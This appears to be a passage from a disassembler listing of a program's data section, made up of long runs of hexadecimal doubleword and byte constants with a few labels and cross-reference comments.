		dd 70412EA2h, 8851196h,	0B070E7E9h, 77DE000Fh, 0EAD004F1h
		dd 0C099BDE4h, 50B65860h, 57904Dh, 0E72724CCh, 0C257BAD9h
		dd 76F86C79h, 610C6478h, 4189B0E5h, 0AFC5057Bh,	906B053Eh
		dd 0ED2C86E8h, 0DCBD341Dh, 0CB7CA8CEh, 992E0058h, 690B2E4h
		dd 680A8F25h, 0EB7F5E3Ch, 20A489Eh, 27BD53h, 8CC0B248h
		dd 8080BC68h, 0DF1B1895h, 0E500411Eh, 0E847FEF4h, 7D329B2h
		dd 82EFB4F3h, 8C34D524h, 83001FCCh, 0C21BC9EDh,	116DB15h
		dd 60C1D807h, 8A98BB57h, 0B0DF7308h, 979D3D80h,	7A14044h
		dd 0DA9AA207h, 0E9272074h, 49F6ACBBh, 0F8CA3709h, 807B8BFAh
		dd 3E2E4FE0h, 8C88BE04h, 0B851E072h, 0E378D017h, 0AA8EF207h
		dd 0A4CCC364h, 54A00098h, 19623C08h, 42630ABh, 350154B8h
		dd 132D58B0h, 30EAEBE4h, 93D142BEh, 6B05CC46h, 487B5CF1h
		dd 94E4B500h, 399A14Ch,	0D25D739Fh, 9588A35Eh, 4A30BA35h
		dd 0AB6250EBh, 0C9AD047Ch, 402F5898h, 0B33F088Fh, 915F0C52h
		dd 381940BEh, 7F19313Ah, 0D6B7CA00h, 0CD6FDD06h, 1675058Ah
		dd 0C00A8344h, 6C088034h, 14F1572Ch, 1AC464Bh, 0E5A3435Ch
		dd 730A3ECEh, 30B0747Ch, 9958E420h, 31068014h, 0C22115E8h
		dd 0FBDD1B01h, 6172F173h, 8ADCA205h, 6813C56h, 788AF99Eh
		dd 203C9842h, 0EBF9373h, 0B069BD00h, 9B7DD9E3h,	90C055Bh
		dd 80BA374Fh, 60B8265Ch, 18970B2Ch, 8E40B140h, 0E578C95Ch
		dd 28F6588Eh, 9F2C0584h, 8F00C642h, 0DCC4814Ah,	0DD2A2E96h
		dd 65B760F8h, 2CA99C0Bh, 630245h, 68ED18CEh, 88108F89h
		dd 0A12CFE86h, 81C418A3h, 4111ED32h, 0C4116511h, 197C9766h
		dd 0B3C01007h, 40DF0D5Ah, 2CB5370Bh, 630920F2h,	6CC05E55h
		dd 615D00D4h, 8B98E0F5h, 218B23Dh, 55EACA09h, 1841FF28h
		dd 33D10B2h, 0C088B995h, 90A8408Eh, 0C10B7B00h,	12048A70h
		dd 0E14A0030h, 81D51F94h, 51E07E01h, 1A73410Bh,	434400BFh
		dd 0E055E2F7h, 96980F71h, 0F680E131h, 9FEEF868h, 400079E0h
		dd 0D705AFFAh, 2E81DE29h, 496CE928h, 733E0C61h,	228C4CBCh
		dd 8817303Dh, 0F72C9B29h, 2BB9D5Ch, 728E4947h, 98844A8Bh
		dd 3EF675B0h, 59803B3Eh, 0AB151ADCh, 60002DECh,	0FA45B62Ch
		dd 5256D6E3h, 0E52FC81Bh, 832F1887h, 0E1C0EFFEh, 88A08235h
		dd 34028DC6h, 0D0283738h, 0A68E080h, 0C210B696h, 80595798h
		dd 4748D603h, 0E008BB73h, 2460DF6h, 82A0AFCBh, 0E4D16B61h
		dd 60009C11h, 0A4277E0Ah, 85241E55h, 8E003BF6h,	0E7C84B0Bh
		dd 86C50066h, 43B573Eh,	0BD020AF8h, 3CE28B07h, 75B08076h
		dd 40A94930h, 0A001B2FEh, 0D8B442B0h, 5863C0B5h, 1978F100h
		dd 4A6AEE63h, 65EBA00h,	7012A20Fh, 0F6DD58F5h, 0B10ADF00h
		dd 0E88A58A1h, 81388503h, 0B8C7727Ah, 1604BA36h, 230F0793h
		dd 0FA9A50C4h, 5F1F08C0h, 1E44424Ch, 63059535h,	0B421B9E5h
		dd 0B2C8AA36h, 0D7372C3Ch, 108A16E4h, 0A054B227h, 93708891h
		dd 0AC05C777h, 4CB86E1Eh, 12B25883h, 0B4737729h, 9A3855A4h
		dd 0B3B48032h, 78EC41C4h, 0A8C3025Bh, 0D003013Eh, 0BF8268C0h
		dd 4890434Eh, 176E0F46h, 21916605h, 2B183530h, 0DFECA040h
		dd 1CEC3F1h, 0A94FD8Ch,	0F87F377Dh, 0F2285EE1h,	405FF8D7h
		dd 0EFDA0470h, 7DC00379h, 0E7125C49h, 8E4FA280h, 26733F5Ch
		dd 3663A007h, 38A3853Eh, 0A91A1F00h, 82FF90D1h,	25C3EF0h
		dd 0E57286ACh, 0ECA600A9h, 0DBD43651h, 9BEE5F29h, 5A43B104h
		dd 0D4803C10h, 0CCE644h, 0EA6EB014h, 80A4762Bh,	0E1EAAD78h
		dd 9948457Dh, 0F7C80020h, 66EFDD82h, 26561490h,	5104A2FAh
		dd 843584A8h, 6AF8C0FCh, 0F01372ABh, 1C20FF3Dh,	8B355E98h
		dd 8DA06E2h, 448FDB27h,	50524C90h, 0E280005Ch, 9155124h
		dd 0CB16AD00h, 0E1FABF38h, 4A6F0021h, 55C46DABh, 0B080F1h
		dd 7A26C544h, 786F24E5h, 83344D4h, 0C3E890Fh, 1412F05Ah
		dd 6CF282A9h, 0DDFAA202h, 4C6039BBh, 883D3A4Bh,	0B8A901FCh
		dd 6EADA11h, 7053B0C0h,	708EB807h, 0DC74005Dh, 0BD23E8Fh
		dd 4909AFE2h, 67E1DDh, 0FE9E9871h, 984F272h, 0F3E7BA3Dh
		dd 0B0AC6580h, 1A00C145h, 0C78B2FB7h, 985C768Dh, 388160E7h
		dd 0B02384A4h, 0E4495071h, 8A7B0090h, 5785E04Bh, 0E19A0E1Ah
		dd 7500A9AAh, 0F93A6B9Bh, 4DE0FE72h, 0F25608A0h, 31DF14A1h
		dd 0BD99F47Ah, 5B84A496h, 44B8B138h, 3D008C22h,	5EF07B13h
		dd 0ADEC61h, 0A692DE08h, 0B86B150Ah, 273081EDh,	30834702h
		dd 0B0D6E020h, 0D8042514h, 0AE075CECh, 546ECB2Bh, 8DFD01E0h
		dd 0C53C1233h, 41B817ADh, 20F85B4h, 2790CF8Eh, 3607897Eh
		dd 372268AFh, 9F91AECh,	6198DD2Dh, 0B4D7F493h, 0E424B40Ch
		dd 0E088BB7Ch, 3B700039h, 298CDCBCh, 0D4306975h, 1E5608F6h
		dd 6CA95DAFh, 0F73E5A3Eh, 0B2DA6201h, 0D1E53474h, 0BCC2148Bh
		dd 0B1E422DCh, 3CA084F9h, 0D22A20E8h, 10F0844h,	0C0309509h
		dd 0D56E9DFh, 1C1E018Ch, 37772FA6h, 3A506218h, 8F6B007Ah
		dd 0B687FC63h, 0E4EA12EFh, 0DFB8F4B3h, 0B2377E02h, 0E05E8E6Bh
		dd 12563E4Ch, 4E367B7h,	418F0964h, 8E4C8743h, 75FE0h, 3F8BDBE0h
		dd 1F5DD9E5h, 0F55EE8C4h, 1D558080h, 0BC490AC1h, 7BDFF34h
		dd 15E4704Fh
		dd 78B088BDh, 84C2924Bh, 5D9822A1h, 39896065h, 0C05E0091h
		dd 26315AF0h, 9C4A2F4h,	0FC727329h, 3D095500h, 5B4A7265h
		dd 1AFB0ECh, 0ACC73839h, 0E8E16A18h, 2C1E7F19h,	0C9CE06EDh
		dd 0C0800295h, 0D6D3804Ch, 0B2DD21h, 0F76AB0D0h, 0E9A10CF5h
		dd 1FE42C07h, 0E30256E8h, 0E0E54165h, 0B433C2F8h, 90E712ACh
		dd 2F54A814h, 80701848h, 0CF80134Ch, 507E0049h,	0FFDBF0CEh
		dd 0BB0C5A7Ah, 84260ADh, 0EA2A0028h, 9BC9F18Fh,	0D6489047h
		dd 34435B84h, 0D3E76EB7h, 5F85D82Ch, 0AD5C2FE4h, 8EEFC080h
		dd 995C1D12h, 50E00284h, 4280DC5Bh, 5008569Ch, 79000E6Bh
		dd 77C53E78h, 11AE64Ch,	12D09835h, 7240B0B7h, 970C061Ch
		dd 0E00633h, 35ADA3B9h,	3D68378Fh, 724FA9E0h, 0C8E95C40h
		dd 1E0A0402h, 0CE09CC8Fh, 3027793h, 0E4E5E0E8h,	10B0B193h
		dd 0DA53270Ah, 0C4FFA866h, 2812A148h, 0CC8782E0h, 0E2165E52h
		dd 43CCE4ECh, 18C620F6h, 21D7168Eh, 1C9681CAh, 800402E4h
		dd 325BC07Eh, 68F118D9h, 17553800h, 40907328h, 132B9B96h
		dd 901D1Ah, 8EA53764h, 197D55C8h, 0B84A5CB0h, 2EF0BC2Dh
		dd 0D9AD0FF3h, 99180E8Ch, 0E488DE0Dh, 1638B9B7h, 0CE2404DFh
		dd 48B21258h, 0A3615B00h, 99E45E7Dh, 57F2C70Eh,	8ED4A0AAh
		dd 24B0D19Ch, 26D6E7A0h, 9BB240D8h, 3A017487h, 8E5FEF48h
		dd 343017A5h, 0BEE52428h, 0FF3200C0h, 6DEFBF6Fh, 5CB9212h
		dd 3752C807h, 1795E4B0h, 828D1281h, 0E5A80824h,	72846580h
		dd 0C19DD5h, 93C49821h,	0F74E8AB0h, 62E03F25h, 0DFE038FCh
		dd 30C89171h, 12B51842h, 3FA5110Eh, 8C0EFD50h, 42B92086h
		dd 26EF5281h, 60543061h, 27CE093h, 0D1994F00h, 25EA84D9h
		dd 2FD4E33Eh, 34AF090h,	0B2AD4D09h, 4BEA86CDh, 0CC8E08A5h
		dd 34008DD4h, 0F8884951h, 9142D0E1h, 0F6FE0920h, 5F889445h
		dd 7B00BD38h, 0CAAA960Bh, 8F3EF327h, 0B8298B2Ah, 0FC3C8862h
		dd 5C8E4260h, 14A3134Bh, 38E3FAh, 0CAEF5B66h, 3BC4BFD0h
		dd 7D9FACh, 9AF05B4h, 0E941D12Ch, 0F9A60A12h, 576D5802h
		dd 0DA4D18F2h, 0AD9BB509h, 987931h, 632449E1h, 3A07DB13h
		dd 0C4BB299Fh, 93CE3F0h, 14E23931h, 12D4520Fh, 0B244B0A5h
		dd 909B2158h, 0E3E08ABh, 0E585898Bh, 0D27BCC99h, 0CDDD040h
		dd 7478DF81h, 253A5D80h, 8DF0F1FDh, 0B5D0A600h,	0BAD29A96h
		dd 18C858C9h, 264A0171h, 28EAE08Eh, 0FF42183h, 10E5279Ch
		dd 2372A8h, 0D83A8719h,	74589AE6h, 4A675932h, 95F4C412h
		dd 91109090h, 68299E01h, 9D2730Bh, 0F6D0E861h, 0AC220A04h
		dd 62F08616h, 27203055h, 9056DFCFh, 2530760h, 40E196D6h
		dd 0ED30ABF9h, 0E242B713h, 0E27E58C8h, 571005Ah, 828BEB50h
		dd 0ED03671Fh, 0B24ACFFCh, 94E0A1EFh, 77B77040h, 0F1D613E9h
		dd 1C3000D7h, 2D8C993Bh, 6098E013h, 23DAC90h, 44B9B596h
		dd 5A1AF839h, 0F873FD12h, 1CABF0B0h, 6966FEh, 4460DC6Ch
		dd 0F10356F4h, 3584AA82h, 1197E150h, 9FE8E0E2h,	3C5B0191h
		dd 0F86A71B0h, 0A612C805h, 0D9080397h, 0E4981346h, 94824B5h
		dd 0A066379Dh, 23641C96h, 3E17A0B6h, 5C148803h,	908F2F44h
		dd 17D742B4h, 4C05D8FCh, 108295F8h, 1447960h, 225CF29Ch
		dd 3C3C7045h, 91FB3B25h, 29A0F5BCh, 22E042FCh, 0EDCA3834h
		dd 0D2B95B96h, 0DF21BF18h, 2D301A44h, 183518DDh, 79981993h
		dd 0B1073673h, 34FBB087h, 66838170h, 0CE865CB9h, 0CB632500h
		dd 88E643E5h, 10055C90h, 520F8E09h, 98088456h, 9D7EBE8Bh
		dd 789E5C16h, 0F74035C4h, 1E31D23Dh, 7314A102h,	747155C7h
		dd 2FA0115Ch, 5D42072h,	3919F70Fh, 74001AA9h, 6AC7F839h
		dd 480044AFh, 0C3B010C4h, 2669E1ADh, 34640EEEh,	0CDCB8011h
		dd 0DB6F2FE6h, 0CEB8A10h, 1C08104Dh, 0D0674E8Eh, 55EC1800h
		dd 3C13BA01h, 5698BB64h, 0B420EC49h, 0FF28164Ah, 0D65C05E4h
		dd 13D88884h, 0BDD02397h, 17313B36h, 0A5C6A200h, 9030A703h
		dd 843FE8B4h, 0F0576B08h, 304B0221h, 8F808B74h,	0AF1401E5h
		dd 76705FB0h, 9C006091h, 0DC30B43Dh, 82504878h,	67F21574h
		dd 160C1074h, 0C009B606h, 5B0CC868h, 0EFFFE5Dh,	0E372198Eh
		dd 90394585h, 71088504h, 0D62C575Ch, 6B5C3861h,	95CA5430h
		dd 0B2334402h, 4EB93500h, 83251EEBh, 1C482DD7h,	10F2EF58h
		dd 981730BAh, 70313964h, 253ED614h, 0B99091F4h,	8E21592h
		dd 65201900h, 4F045226h, 1BC89B01h, 56BBC973h, 0A7006C23h
		dd 7B757F1h, 9D030478h,	0C15CFE45h, 3080E076h, 0D6115CB2h
		dd 3E12E039h, 2478C204h, 0BE0E7CF1h, 801700A4h,	0F6C40F29h
		dd 0AB350051h, 10B04C8Ch, 0EC1558EBh, 0AC08B2Ch, 94D65998h
		dd 1C64A5h, 1E8E9002h, 7A3832D8h, 72CB1870h, 5CC50Dh, 0BD8B52Ah
		dd 420013A5h, 0AAAB8F3Fh, 9060DF26h, 88CE4B9Ch,	443C6904h
		dd 781B80E2h, 3EB104F0h, 9A010108h, 0CBA2183h, 40BC7CEBh
		dd 208A3FB4h, 0DFE4BA4Ch, 0CF7D00A5h, 9705F0AFh, 6801B012h
		dd 0C0B9D64Dh, 0C6D4BF0Ah, 303E059Bh, 5970B58h,	940B008h
		dd 5C058214h, 7DDE815Bh, 0EE2DE0A8h, 354C08A4h,	8EEF005Ah
		dd 36E37FE2h, 9D6F2597h, 0E922B4C4h, 9800B784h,	0D26C368Fh
		dd 401C9072h, 0BA8EDF25h, 0FC1656CDh, 808560C0h, 51B00C27h
		dd 0E508F007h, 8418B848h, 0C088158Eh, 0F43744BEh, 0C1457607h
		dd 61B125E1h, 502F013Eh, 41219448h, 4C008C11h, 5C562D93h
		dd 0BF01958Eh, 2B8E90Ah, 709134CBh, 0DC7B0080h,	48D6115Eh
		dd 0CF77000Fh, 921E56D0h, 31001BBBh, 26576976h,	9EFF6Ch
		dd 0B580CE5Bh, 39506EB0h, 8AE8F204h, 0C8A18ECFh, 1844463Eh
		dd 47E618Dh, 9901FD75h,	0EF3BE0EEh, 10C8160Bh, 0A5ECBC70h
		dd 91441C6Ch, 0B8230098h, 3C2D5414h, 0F927BE7Eh, 42784287h
		dd 40140BB4h, 4CDD700Ch, 0BE2E4C2Fh, 185672C0h,	0C854126Bh
		dd 4FCE526Ch, 10B0CA90h, 2F8F8DD9h, 50E8E28Bh, 4E00B035h
		dd 0FCB1F67Eh, 900E60EFh, 57A2EC8h, 108B5958h, 40203E85h
		dd 3C98B7D9h, 0D805650h, 9B303D14h, 3220184h, 0DF4AD6F1h
		dd 8E065885h, 8160B80Bh, 0E4EB540Eh, 71E98DC4h,	9E0248Ch
		dd 0C8E0585h, 0C8AD34h,	56EF83E2h, 1DD95A05h, 0C06AB036h
		dd 8AD89612h, 395481A0h, 8905A808h, 0ED2C8274h,	7C1294E2h
		dd 2CCE1634h, 0CC006368h, 5FD33DCBh, 0C37E730Ah, 9BBDE479h
		dd 0E8E410Dh, 0BC6331ECh, 0DC764500h, 0C5D1EA35h, 4C4F1A00h
		dd 0BD0D987Bh, 0F5F43E29h, 57D53F01h
dword_544450	dd 3BEA1570h, 4926704Fh, 56B49047h, 0C1EE0E1Dh,	574E40A8h
					; DATA XREF: ___:off_44452Co
		dd 8F52Ah, 2B347B08h, 0E70041CFh, 2A9D195Ah, 2ED050ECh
		dd 0A14B7Dh, 0B6625433h, 84079020h, 0DFEE450Bh,	40C61880h
		dd 0EFF605EBh, 0C95D98D7h, 0CE0E3050h, 75E01490h, 8A05F00h
		dd 0FDF2568Ch, 91A502BBh, 1A5754A8h, 2038088Ah,	80350714h
		dd 708A47E5h, 0A2A909D9h, 6488E04Ah, 0C125004Eh, 0E380E938h
		dd 9F099AF3h, 71611FC9h, 8C741650h, 682F23A0h, 0CF3824B9h
		dd 0E900388Eh, 5BA8B38Eh, 5343E52h, 0E8A219A4h,	98621500h
		dd 0E40723E5h, 0AD754A00h, 5F781E6Eh, 67580505h, 844D120Fh
		dd 8074F86Ch, 44C5E94Bh, 0E6730465h, 0C42C5CD2h, 0C498ED70h
		dd 0E445DD10h, 2510A2BCh, 0F11C4299h, 20470014h, 5DDA7B98h
		dd 0A300F377h, 7093A65Eh, 0E662BC0Fh, 0DCDF04CEh, 0A8E02433h
		dd 945BC834h, 0E603CC2Ah, 0D6F98DA9h, 848042Ah,	85DE2907h
		dd 7806225Dh, 55D4A388h, 0FFC0B410h, 18E9C47Ah,	0CE8500D6h
		dd 378C6BB2h, 5BE0B83Bh, 3C82D001h, 2C982A8Ah, 500A0195h
		dd 0EB7DEDE5h, 7302C0CCh, 8420D54Eh, 0F8397D2h,	63AF12Ch
		dd 92DF6F00h, 570EB8FAh, 0E06CAFF4h, 80A5144Fh,	4CB000B3h
		dd 0FCAD0284h, 2F01C30Ah, 505308EBh, 0ACF31568h, 0F270FCF9h
		dd 54CD05ACh, 0FCB3E508h, 377C82C8h, 80D8FC18h,	0EA8CE14h
		dd 7F7E4388h, 0B8021EF2h, 0CBB77486h, 78A080CDh, 24EF0E6Fh
		dd 20B8F9FEh, 1A49E08h,	33075FE9h, 80CC7DD3h, 8C46181h
		dd 1754909Dh, 2859837Bh, 7640BB30h, 4468982Bh, 6A1CCDD7h
		dd 6F929957h, 14E5B420h, 98F74ADh, 7475C60Ah, 5602E4E4h
		dd 399AEBC3h, 44BC5890h, 0FF018E36h, 0D7809E7Dh, 8780EEAh
		dd 181C8610h, 0E8293EBFh, 0D5D005Bh, 0B8164917h, 6200CD0Eh
		dd 0E776578Ah, 0B47E85D1h, 72B31290h, 4CD97768h, 5B07FB00h
		dd 1E764AC2h, 81458563h, 0F213DD33h, 2F388296h,	0C02942BCh
		dd 5F7C44h, 0AF12D902h,	5598DF8Ah, 0E9002C99h, 8FD6B55Ah
		dd 12E003Dh, 2CEAC2B3h,	0C016CFEEh, 0C04082CAh,	598B4616h
		dd 0AC60030h, 91E433CDh, 780E5812h, 27FEE9h, 87945B4Bh
		dd 7FCA12C6h, 0ACCD037h, 0BC012C97h, 40582096h,	840BF0Bh
		dd 0DC7487h, 3CD2CB8Bh,	806AAF54h, 0FF12A600h, 72AEE86Ch
		dd 0CD500E7h, 89C611DAh, 0E95A71DFh, 8A5DCC40h,	7218C865h
		dd 0EB138EDh, 6FFEB300h, 0D0453229h, 0A80B4C03h, 0D0DCD864h
		dd 4471D28Ah, 0C47D67E8h, 7DFBB71Dh, 0C320BCCEh, 8014E6FAh
		dd 2D0C627h, 36E7D876h,	0F8D62928h, 0E072CE4Eh,	486DDAC7h
		dd 55010016h, 0F706A52Ch, 7744AB0h, 3F357424h, 6398D805h
		dd 3D3DFCE9h, 0A2378517h, 63CE8h, 1B058CB6h, 2D68B43Eh
		dd 3441A84Bh, 0BC230864h, 42D0E2DCh, 7F09FF18h,	5B8EFC8Bh
		dd 35809116h, 7DF43D17h, 0ED21B00h, 0C3B7B577h,	634A1D36h
		dd 45CE1DA7h, 0B8E3FEDAh, 797D8C44h, 76023F26h,	0AD8BB780h
		dd 0E1D64D8Eh, 70AFFA02h, 40A5E55Bh, 0E034BF43h, 7C250073h
		dd 2056BD8Fh, 0C93892E4h, 0B5530361h, 0E0D3DB7Eh, 4F95E18h
		dd 52082EB2h, 43B4802Fh, 7417C899h, 17BEEBh, 0D7B42460h
		dd 31600F2Ch, 9EC0864Eh, 4BE83B49h, 87F0F219h, 0A8715EA8h
		dd 6810203Eh, 40E1A63h,	0A2C787F2h, 0E6ABC93Eh,	20305B7Ch
		dd 91E33790h, 0F42D1401h, 603DDECCh, 3C797DCh, 7F7156DFh
		dd 309C4BBDh, 7A538Eh, 1ED70279h, 292107ACh, 0ED8CF713h
		dd 25DB6800h, 0F0D0E7h,	0DE387E27h, 0BACE813Ch,	80879600h
		dd 0A3E2F54h, 0BC919F9Bh, 0B4AF1037h, 6B1D0086h, 0BA8C0FE7h
		dd 2809EB5Eh, 80DC67E2h
		db 1Dh,	7, 7Ah
byte_544843	db 30h			; DATA XREF: ___:00444C04o
		dd 0B000B78Ah, 3B93A109h, 1C16EA7Eh, 0C0BD937h,	857C19E2h
		dd 0CC0AC517h, 9A09F260h, 803E7298h, 0F443E0BCh, 29FE2EE8h
		dd 2808201Ch, 141A56h, 0A9A10ADFh, 9011325Dh, 80B470B0h
		dd 0C8E02944h, 8E4304B1h, 5A9EB5E4h, 6204C0A8h,	1DC9172h
		dd 2C7B7612h, 609DFC1Eh, 200A579h, 815E7857h, 13015610h
		dd 0B336E530h, 5F99137Ch, 0EADFB830h, 50ED09E4h, 486680EBh
		dd 0F855E909h, 84F90Ch,	84D081A3h, 0D6031730h, 0C1D79D64h
		dd 0F937B2EAh, 0B8CA1Ch, 0B66C92DEh, 0EF00F934h, 1C568F64h
		dd 3C711Ah, 337408A4h, 35E45530h, 0D55CAF07h, 7D019528h
		dd 461DC9Ah, 0F214443Bh, 4EFC052h, 0E41CF10Ch, 6D000ACCh
		dd 0C4D974E9h, 82123D96h, 7EB09902h, 0CBC08D77h, 8F5E35E5h
		dd 73370020h, 4AFF005Bh, 0D10FDB42h, 0C050596Eh, 1A0B0EB2h
		dd 0C15690h, 85D7B95Ch,	0B03B07EAh, 0E01B4D59h,	0D9F144DFh
		dd 0BEC57C08h, 9EFA8038h, 0E699D3CBh, 9562D3Eh,	71364CE0h
		dd 1AAA0064h, 0D46678B1h, 118F4800h, 0D10D2454h, 0D9FC000Ah
		dd 0F567495h, 3D10EA81h, 1849B51Fh, 25BDE41Dh, 0F96AACB8h
		dd 9945400h, 88E51226h,	0B69CA10Ch, 3CB943F0h, 0D13A2DEFh
		dd 10448F18h, 0E525FED6h, 1D9479E3h, 0E2644079h, 19E8056Eh
		dd 0DD3BD17Ch, 0CC91AE8Fh, 3D144811h, 0C897A00Ch, 3A7DED30h
		dd 0C45D9F00h, 6937E42h, 0C86200E3h, 0E54CBBF3h, 8B4103B2h
		dd 0B323B457h, 9BF6A06Dh, 0FA1102EAh, 30480D8Eh, 0DCE73500h
		dd 6C4500F7h, 3E97C5E0h, 34BA5203h, 495A9827h, 256F8ED8h
		dd 382E8030h, 0DE019A8Ah, 592645AFh, 6090F80Ch,	0A17D22F9h
		dd 68128CE4h, 1900B0D2h, 0C439DF3Ah, 3EFFD463h,	0A42E12EFh
		dd 0B2E11778h, 0A6420538h, 8420670Ah, 117DF0h, 124BFFE2h
		dd 0E3743AD7h, 7701F600h, 0C9169C2Fh, 0CD18A892h, 2620097h
		dd 1796B3A7h, 0DF001046h, 4FE7A02Fh, 8D52C7h, 36E2D80Eh
		dd 0D4B7BC95h, 0E0043E17h, 644C948Bh, 987D821h,	0EEAB608Ch
		dd 7BFF13FCh, 1CA7B4h, 36D866FDh, 98063B97h, 9E080068h
		dd 99FE0F9h, 71E95FC0h,	0FC3D53h, 71F23A95h, 0A029BB90h
		dd 0B68AEEECh, 0BDB91B8h, 0C1D78235h, 2B3E8B58h, 94B810B0h
		dd 95839A88h, 0F3E2C078h, 0ECCB81F2h, 0EB9320h,	473AB010h
		dd 84F692DFh, 8707873Ch, 2CDB516Ch, 185EDAE1h, 2D8C8864h
		dd 0DCA0737Bh, 0E188FC9Dh, 83000BE6h, 0DEBA6649h, 47BA96Ch
		dd 18C7B891h, 0A3549435h, 201F0068h, 0EDCD7D40h, 7CE006Dh
		dd 60A19DFAh, 1900FE96h, 4FFF3306h, 488E907Bh, 0C2968C0Eh
		dd 0A208AC4h, 26D24ADh,	0B0900613h, 0C064BF52h,	0CD9D0D01h
		dd 28B3D6B7h, 801CDEF2h, 0E9FF80D2h, 830096D7h,	0DF32B4E5h
		dd 4C40ED2Bh, 709E07h, 8B6E2958h, 760DCCFCh, 1DA7601Ch
		dd 0EEEC5000h, 4FF4FD8h, 0BF85DD1Fh, 3ACCA2E2h,	67D09343h
		dd 0F3E9CE4h, 4FE9F6D3h, 32373620h, 0EA1D7343h,	9C1E74F0h
		dd 0D880241Eh, 0D353980Ah, 881205ECh, 0C893DFE0h, 0F0B884C8h
		dd 6F1890B5h, 6845001Fh, 0F3831B2h, 0E1005605h,	1AEEC765h
		dd 912A0EDh, 0E51889DFh, 0EC01CC4Ah, 0EC3F8387h, 0A0A43D85h
		dd 0B6C3B201h, 0B022E874h, 79D802D0h, 0BB0A01DBh, 0F93DBF3Bh
		dd 0CF4FC073h, 86DAEE00h, 0E9DC185Fh, 0C87F5ACEh, 4C009E8Ch
		dd 1FA86C22h, 176AF503h, 4307295h, 0F2A118D8h, 0BD72278h
		dd 0D9E785CEh, 5ADD1B87h, 41CF00B4h, 0D70C7C73h, 0BF75021Fh
		dd 4530C440h, 0A0205EE2h, 4D3C9B8h, 8034D9DFh, 904380D2h
		dd 0D4BE170Ah, 208D0762h, 0E02760EFh, 0F89F0E24h, 0D4DC9D13h
		dd 66523FC5h, 5C1B4402h, 20798B13h, 0A8B227h, 0F29A47F0h
		dd 54F15CE0h, 0D204A892h, 5D26C442h, 1F0CF9A2h,	15628175h
		dd 637446ACh, 20B006Ch,	4BB22A71h, 27DE02F6h, 3E36E4DDh
		dd 0C5E6462h, 50947C49h, 7A07BABFh, 0C4450BE8h,	36B6AD80h
		dd 57E20E69h, 0BAE2411Ah, 5CC62B98h, 0F3DEC8C2h, 3158A3EFh
		dd 0B985E3E5h, 88490F8Eh, 0E26D1460h, 141F5861h, 47429820h
		dd 83F5B11h, 93940D3Dh,	60542072h, 0DF0053AEh, 11D28124h
		dd 0B59B799h, 0D9025DE5h, 52443404h, 198094ECh,	0DD22279Ah
		dd 4C03B800h, 21373F5Ah, 0E65E013Bh, 0D83ED03Ah, 557070EEh
		dd 9B92400h, 5F75AFCBh,	0FFF400D4h, 6A4FCC7Eh, 3BFFE4E3h
		dd 84B33038h, 386810BDh, 63D9C5D9h, 9A808C48h, 880288h
		dd 0F17D904Bh, 9B3A5422h, 0F015FD00h, 14E1849Eh, 40DC98A4h
		dd 588AA972h, 272F4460h, 574892BDh, 3681DCA0h, 81C0CE7h
		dd 7901AD56h, 98CD80B4h, 16416BF0h, 27325999h, 0CB4B0090h
		dd 0A1010AA4h, 4778458Dh, 206A8FF2h, 9DA7C058h,	0FDE80100h
		dd 7A8B649Fh, 0EA2900F8h, 79F5B478h, 4A626B1Dh,	2E7F0658h
		dd 0BBCD4024h, 2F145402h, 53D0CCE0h, 9521F4F2h,	7100DC11h
		dd 9C60CED8h, 409DBB82h, 888A293Ch, 855CBF09h, 0D2B8C704h
		dd 0E95BF920h, 20F65C95h, 0C32F1220h, 0E8EC31h,	7C4D7EE7h
		dd 0CEAA702Ah, 54BC3900h, 88AD6C3Ch, 0C0B326E5h, 0AADB446Ch
		dd 0D7144C61h, 0F078000Bh, 51348027h, 0A7E60788h, 1F4F2F73h
		dd 102D9Dh, 200B4E8h, 2A214B0Bh, 281A2E2h, 64C27885h, 0D0C42839h
		dd 0DC40B550h, 0E2A18F05h, 8EC01E08h, 0EF0A881h, 9CC8C61h
		dd 9EE37C00h, 2A03F214h, 6C8BB0ECh, 3373A0E5h, 824F5BB8h
		dd 987E0518h, 5000E997h, 90454A38h, 182A4868h, 0A5E45F85h
		dd 30C4F220h, 6013DA07h, 3FE0B35Ah, 3AD5394h, 0B603C60Ah
		dd 96C87451h, 1602EE05h, 701BBC73h
		db 0DDh
byte_544E45	db 68h,	64h, 69h	; DATA XREF: ___:00444C5Co
		dd 40789435h, 4842B283h, 5021A201h, 475798E0h, 0A5E09C3Ah
		dd 88705300h, 0AB4630ADh, 6FA49h, 0F218D8ACh, 20D1E28Ah
		dd 10522E2Eh, 0A8C04567h, 921BC3Ch, 689AF77Ah, 81AA6D00h
		dd 0C2D3E4Eh, 0A7CA297h, 0E250748Eh, 66124D5Ah,	0A4B200ACh
		dd 27DC0834h, 850001BCh, 996EEE33h, 3CD7B3FAh, 8180BD3Ch
		dd 0E08928E3h, 0C9BE54Ch, 3CF21613h, 8408B2D3h,	20E8BF0Ah
		dd 40768B89h, 8F340449h, 0B8A252h, 0CD665ED9h, 7535084Ah
		dd 8A670909h, 24D242D0h, 7E1FD612h, 77E800EAh, 0AE805B13h
		dd 4E8E095h, 7C81898Bh,	58E110FCh, 0EC2B8206h, 800B719Bh
		dd 715B6177h, 93115Ch, 0B0520FAAh, 2C7A48Fh, 0EC62DF13h
		dd 0E0F69EC4h, 0A8E10908h, 8A02223Ch, 0F5949800h, 34CF36E0h
		dd 738D0022h, 0F9CD82A9h, 4800D652h, 41D3279h, 0FADE26FFh
		dd 88B74AE5h, 808514C8h, 0F9DC5297h, 730085C0h,	0ADFDAC4h
		dd 257A26C1h, 0A8511D44h, 0CB76E700h, 0F24F7EDAh, 0DBFAF1h
		dd 0A58B6536h, 0A1954A8Eh, 0E08DEE01h, 91A89316h, 2C269840h
		dd 0FADB007Fh, 321B27F2h, 0F900ADC3h, 49563C83h, 2FB2C4CDh
		dd 60048CBDh, 0B078C108h, 84F44F90h, 948CDACAh,	0DDB600C0h
		dd 811ACFEDh, 372E470Ch, 0D1023C55h, 209268DCh,	4E4FD89Fh
		dd 0E7419700h, 7170B6D6h, 0E27C5Eh, 27B1A372h, 9CCB22E9h
		dd 0D3C16D00h, 8CB72156h, 809402EDh, 2A283059h,	0C03A8D9h
		dd 0F8336C03h, 73CD5057h, 72C2FA38h, 0FD1001A3h, 2B120D46h
		dd 0DF1C2061h, 27155E38h, 4320E450h, 54BE20F5h,	3E88307Bh
		dd 0EC1C3EABh, 0CF80BD0Dh, 0B9D6FB58h, 0CB797978h, 0A306AF0Bh
		dd 4C4498h, 6A38C6B1h, 0CECF0945h, 0B6306500h, 28013D8Dh
